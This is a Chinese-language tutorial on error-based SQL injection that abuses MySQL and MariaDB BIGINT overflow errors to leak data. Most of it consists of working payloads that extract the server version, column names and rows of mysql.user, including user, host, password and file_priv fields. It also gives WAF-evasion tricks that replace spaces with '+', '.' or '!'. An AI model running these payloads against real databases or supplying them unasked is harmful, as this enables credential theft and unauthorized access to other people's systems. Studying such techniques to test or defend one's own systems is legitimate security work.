这种报错注入主要基于Mysql中无符号int数据类型的溢出,并不是所有mysql版本都有,在5.0下测试不存在此种错误,在mysql5.5下存在。测试是否存在该类报错的语句如下:
mysql > SELECT 18446744073709551610 * 2 ; ERROR 1690 ( 22003 ): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * 2)' mysql > SELECT - 1 * 9223372036854775808 ; ERROR 1690 ( 22003 ): BIGINT UNSIGNED value is out of range in '(- (1) * 9223372036854775808)'
可以看到报错是因为无符号整形超出范围,太大了。同时,注意到报错信息将报错语句爆出来了,因此我们可以利用报错信息来进行报错注入。注意,此种报错注入不适合于老版的mysql,同时还有报错信息的长度限制。
利用此种注入有两种方式:
select 1E308*if(x,2,2) from(select version()x)y select 1E308*if((select*from(select version())x),2,2)
即一种是在查询语句的from后,一种是select后from前。
如果对象是MariaDB(Mysql的一个分支),当你尝试上面的方法时,你可能会看到这样的报错信息:
mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610)) ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if((select #),18446744073709551610,18446744073709551610))'
作为解决方案,可以通过这种方式来解决这个问题:
mysql> SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a; ERROR 1690 (22003): BIGINT value is out of range in '(('5.5-MariaDB' is not null) - -(9223372036854775808))'
——————————-
现在我们来看看具体的利用过程:
1、查询数据库版本
select 1E308*if(x,2,2) from(select version()x)y
或
select 1E308*if((select*from(select version())x),2,2)
2、获取表所有字段名称
select 1E308*if((select*from(select*from mysql.user)a limit 1)>(select*from mysql.user limit 1),2,2)
可以看到虽然爆出了mysql.user表的所有列名,但是由于报错语句的长度有限制,没有将所有内容先是出来。所以,今后利用报错信息来获取数据时要注意限制数据的长度。
3、获取表中数据
select 1E308*if((select*from(select*from mysql.user LIMIT 1)``limit 0)<(select*from mysql.user limit 0),2,2)
或
select 1E308*if((select*from(select*from mysql.user limit 1)a limit 1)>(select*from mysql.user limit 0),2,2);
可以看到报错语句和上面的爆字段名语句唯一的区别是最里面的查询多了一个limit 1,即当最里面的查询只有一行时错误信息会显示出该行的内容和字段名;当里面的查询返回多条数据时,报错信息只会显示列名。
ps:可以修改limit后面的参数,来选则报错哪行数据,只要求使用limit只查询一行数据。如报错查询第二行数据:
select 1E308*if((select*from(select*from mysql.user limit 1,1)a limit 1)>(select*from mysql.user limit 0),2,2);
4、获取指定字段的值
select 1E308*if((select user||host||password||file_priv from(select*from mysql.user LIMIT 1)a limit 1),2,2)
可以看到这条报错数据的语句比3中的语句要精简了,因为不需要在if语句中使用>进行被比较了。if语句的第一个参数必须是true或者false,因而需要和相同列数的数值进行比较。而本条语句select 1E308*if((select user||host||password||file_priv from(select*from mysql.user LIMIT 1)a limit 1),2,2)中if中第一个参数不再需要比较是因为这条语句巧妙地利用|来连接不同的字段,|是或的意思,最终这个组合的值就是一个布尔值不再需要进行比较了。
ps:只要不断修改limit参数就可以爆出想要的行的数据了。如第3行的数据:
select 1E308*if((select user||host||password||file_priv from(select*from mysql.user LIMIT 3,1)a limit 1),2,2) ;
其他的一些变形语句:
SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a
select (x!=0x00)--9223372036854775808 from(SELECT version()x)y
select!x-~0.FROM(select+user()x)f;
ps:从上面的两条语句可以看出,在mysql中,select后查询字段前的空格可以用+号代替或直接省略掉,其他地方的空格则不能替换。如 select host,user from mysql.user可以替换为select+host,user from mysql.user或selecthost,user from mysql.user。
————————————————————————————————–
下面重点讲解下上面的最后一条查询语句:select!x-~0.FROM(select+user()x)f; 可以看到这条语句相当简洁,和普通的查询语句差不多。我们来利用这条语句来爆数据,查询语句如下:
select!x-~0.FROM(select concat(host,user)x from mysql.user limit 1)f;
爆所有行数据:
select!x-~0.FROM(select group_concat(host,user)x from mysql.user)f;
可以看到只要将查询的数据使用concat或group_concat合在一起组成一个字段x就可以爆错注入了。同时上面语句中~0后面的.是用来代替空格的,即如果查询语句中查询的参数最后是数字,则可以用.来代替空格。加上上面说的select后的空格可以用+号来代替空格,我们可以构造类似如下的语句来绕过waf等:
select+1.from mysql.user; select+user,1.from mysql.user;
同时如果select查询的第一列开始是!,那么可以直接将空格省去,因此,可以构造如下的语句来绕过waf:
select!1,host,user,1.from mysql.user;
现在我们看一下为什么select!x-~0.FROM(select group_concat(host,user)x from mysql.user)f;这样的语句会爆错。其中最关键的是~0,如我们查询一下1-~0,结果报错了,如下:
而 select !x from (select ‘a’ x)f这样的查询的结果就是1
所以上面select!x-~0.FROM(select group_concat(host,user)x from mysql.user)f语句最终会变成1-~0,所以报错了。
参考资料:
1、新型Mysql报错注入 http://sb.f4ck.org/thread-19159-1-1.html